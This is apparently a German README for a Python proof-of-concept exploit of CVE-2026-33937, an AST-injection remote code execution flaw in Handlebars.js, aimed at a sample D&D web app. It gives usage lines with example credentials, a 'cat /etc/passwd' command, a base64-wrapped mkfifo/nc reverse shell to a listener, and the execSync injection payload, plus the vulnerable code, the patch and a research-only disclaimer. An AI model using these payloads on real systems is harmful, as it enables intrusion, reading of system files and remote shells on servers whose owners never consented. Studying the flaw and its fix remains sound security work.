
Python POC, Exploit für Handlebars.js AST Injection RCE, Handlebars.js-Versionen 4.0.0 bis 4.7.8 sind betroffen. CVSS-Score: 9.8 Kritisch.
Betroffen sind die Handlebars.js-Versionen 4.0.0 bis 4.7.8. CVSS-Score: 9.8 Kritisch.
CVE-2026-33937 ist eine Type-Confusion-Schwachstelle in Handlebars.js. Die Funktion Handlebars.compile() akzeptiert als Eingabe sowohl eine Template-Zeichenkette als auch ein bereits geparstes AST-Objekt. Übergibt ein Angreifer ein präpariertes AST-Objekt, fügt der NumberLiteral-Visitor des Compilers das value-Feld des Knotens unverändert und ohne jegliche Bereinigung in den generierten JavaScript-Funktionsrumpf ein. Ein anschließender Aufruf von render() führt vom Angreifer kontrollierten Code im Node.js-Prozess aus.
python3 exploit.py --url <target> --username <email> --password <pass> --command <cmd>
Argumente
--url — Basis-URL des Zielsystems, z. B. http://hello.veer/ (erforderlich)--username — Anmelde-E-Mail-Adresse (erforderlich)--password — Anmelde-Passwort (erforderlich)--command — Auszuführender Betriebssystembefehl, Standard ist id (optional)Beispiele
# Verify RCE
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command id
# Read a file
python3 exploit.py --url http://hello.veer/ --username cognito@veer --password 'P@ssw0rd@123' --command 'cat /etc/passwd'
# To get reverse shell
echo 'rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|bash -i 2>&1|nc <listener_ip> 4444 >/tmp/f' | base64 -w 0
python3 exploit.py --url 'http://hello.veer/' --username 'cognito@veer' --password 'P@ssw0rd@123' --command 'echo <base64_payload> | base64 -d | bash'
Das Skript führt zunächst eine vollständige Anmeldung durch, bevor es die Schwachstelle ausnutzt. Zuerst sendet es eine GET-Anfrage an /login, um das versteckte _csrf-Token aus dem Formular auszulesen. Anschließend übermittelt es dieses Token zusammen mit der angegebenen E-Mail-Adresse und dem Passwort als formularcodierten POST an /login. Bei Erfolg antwortet der Server mit einer 302-Weiterleitung auf /dashboard und setzt das Session-Cookie dz.sid, das für alle weiteren Anfragen verwendet wird.
Vor jeder POST-Anfrage wird automatisch ein neues CSRF-Token abgerufen, da die CSRF-Middleware der Anwendung bei jeder ändernden Operation ein Token verlangt.
Die Anwendung stellt den Endpunkt POST /character bereit, der Content-Type: application/json akzeptiert. Diese Route erstellt einen neuen D&D-Charakter und übergibt, sofern campaign_id angegeben ist, das Feld campaign_message direkt an Handlebars.compile() auf dem Server:
// Server-side Node.js (vulnerable)
const render = Handlebars.compile(campaign_message); // no type check
const output = render({ name, race, class }); // payload executes here
// output is stored as a campaign log entry
Wenn der Request-Body JSON ist, kann campaign_message anstelle einer Zeichenkette ein verschachteltes Objekt (das AST) sein, wodurch jede Zeichenkettenvalidierung auf Formularebene umgangen wird. Das Feld campaign_id veranlasst den Server, das gerenderte Ergebnis als Kampagnen-Log-Nachricht zu speichern, die anschließend unter GET /campaign/1 abrufbar ist – was dem Angreifer eine Out-of-Band-Befehlsausgabe verschafft.
Der Exploit nutzt den NumberLiteral in Kombination mit dem lookup-Helper.
Die normale Kompilierung von {{lookup this 1}} erzeugt:
env.helpers.lookup(this, 1, {options})
Der injizierte NumberLiteral.value ersetzt die 1 durch:
{},{})) + process.mainModule.require('child_process').execSync('cmd').toString() //
Das erzeugte JavaScript sieht dann wie folgt aus:
env.helpers.lookup(this, {},{}))
+ process.mainModule.require('child_process').execSync('cmd').toString()
// <remainder of expression is commented out>
Beim Aufruf von render() wird execSync() ausgeführt und dessen stdout als Wert des Ausdrucks zurückgegeben, der als Kampagnen-Log-Nachricht gespeichert wird.
Befehle werden intern als /bin/sh -c 'cmd 2>&1' gekapselt, damit Befehle mit Leerzeichen, Pipes und Umleitungen korrekt funktionieren und stderr zusammen mit stdout erfasst wird.
Das Skript notiert die Anzahl der Kampagnen-Log-Nachrichten, bevor es den Payload sendet. Nach dem POST ruft es erneut /campaign/1 ab und schneidet mit messages[before_count:] den neu hinzugefügten Eintrag heraus. Dieser Ansatz behandelt auch Fälle korrekt, in denen derselbe Befehl bereits zuvor ausgeführt wurde, da ein mengenbasierter Vergleich identische Ausgaben entfernen und das neue Ergebnis übersehen würde.
In javascript-compiler.js von Handlebars.js befindet sich der verwundbare Code:
// Versions 4.0.0 – 4.7.8
NumberLiteral(number) {
this.pushStackLiteral(number.value); // value inserted verbatim, no type check
}
Version 4.7.9 fügt am Einstiegspunkt von compile() eine Typprüfung hinzu, die jede Nicht-String-Eingabe ablehnt, bevor der Codegenerator überhaupt erreicht wird:
// Patched in 4.7.9
if (typeof input !== 'string') {
throw new Handlebars.Exception(
'You must pass a string or Handlebars AST to Handlebars.compile.'
);
}
Dieses Repository ist ausschließlich für Sicherheitsforschung und -schulung gedacht. Verwenden Sie diesen Exploit nur gegen Systeme, die Ihnen gehören oder für die Sie eine ausdrückliche schriftliche Genehmigung zum Testen besitzen.